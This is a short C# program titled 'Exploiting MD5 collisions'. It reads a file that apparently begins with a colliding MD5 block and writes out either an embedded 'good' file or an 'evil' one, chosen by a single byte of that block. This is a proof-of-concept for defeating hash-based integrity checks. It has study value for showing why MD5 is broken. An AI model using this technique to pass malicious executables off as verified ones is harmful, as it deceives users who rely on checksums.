Exploiting MD5 collisions (in C#)

using System;
using System.IO;

namespace Md5Extractor
{
	/// <summary>
	/// Summary description for Class1.
	/// </summary>
	class Extractor
	{
		/// <summary>
		/// The main entry point for the application.
		/// </summary>
		[STAThread]
		static void Main(string[] args)
		{
			if (args.Length == 0)
				Usage();
			ExtractFile(args[0], args[1]);
		}

		private static void ExtractFile (string sfilename, string soutputfile)
		{
			using (BinaryReader reader = new BinaryReader(File.OpenRead (sfilename)))
			{
				byte[] vec = reader.ReadBytes (128);
				int goodSize = reader.ReadInt32 ();
				int evilSize  = reader.ReadInt32 ();
				/// open evil file
				if (vec[123] == 0xab)
				{
					reader.ReadBytes (goodSize);
					byte[] evil = reader.ReadBytes (evilSize);
					using (BinaryWriter writer = new BinaryWriter(File.OpenWrite (soutputfile)))
					{
						writer.Write (evil);
						writer.Close ();	
					}
				}
				else
				{
					byte[] good = reader.ReadBytes (goodSize);
					using (BinaryWriter writer = new BinaryWriter(File.OpenWrite (soutputfile)))
					{
						writer.Write (good);
						writer.Close ();
					}
				}
				Console.WriteLine ("File written on {0}", soutputfile);
			}
		}

		private static void Usage ()
		{
			Console.WriteLine("Usage: md5extract file.bin output_file.exe");
			Environment.Exit (-1);
		}

	}
}